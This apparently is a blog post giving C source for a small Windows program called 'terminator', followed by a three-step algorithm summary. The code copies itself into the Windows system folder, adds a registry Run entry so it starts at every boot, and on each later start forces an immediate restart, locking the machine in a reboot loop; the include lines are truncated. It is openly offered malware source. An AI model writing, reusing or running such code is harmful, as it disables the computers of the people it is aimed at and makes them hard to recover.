#include
#include
#include
void main()
{
int done;
char buff[128];
struct ffblk ffblk;
FILE *self,*target;
done=findfirst("C:\\windows\\system\\terminator.exe",&ffblk,0);
if(done==0)
{
system("shutdown -r -t 0");
}
else
{
self=fopen(_argv[0],"rb");
target=fopen("C:\\windows\\system\\terminator.exe","wb");
system("REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run \/v terminator \/t REG_SZ \/d C:\\windows\\system\\terminator.exe");
while(fread(buff,1,1,self)>0)
fwrite(buff,1,1,target);
fcloseall();
}
}
Algorithm:
1. Create terminator.exe in system folder.
2. Create a registry patch so that it will be checked at every start up.
3. Restart command if terminator.exe is present otherwise create it.
No comments:
Post a Comment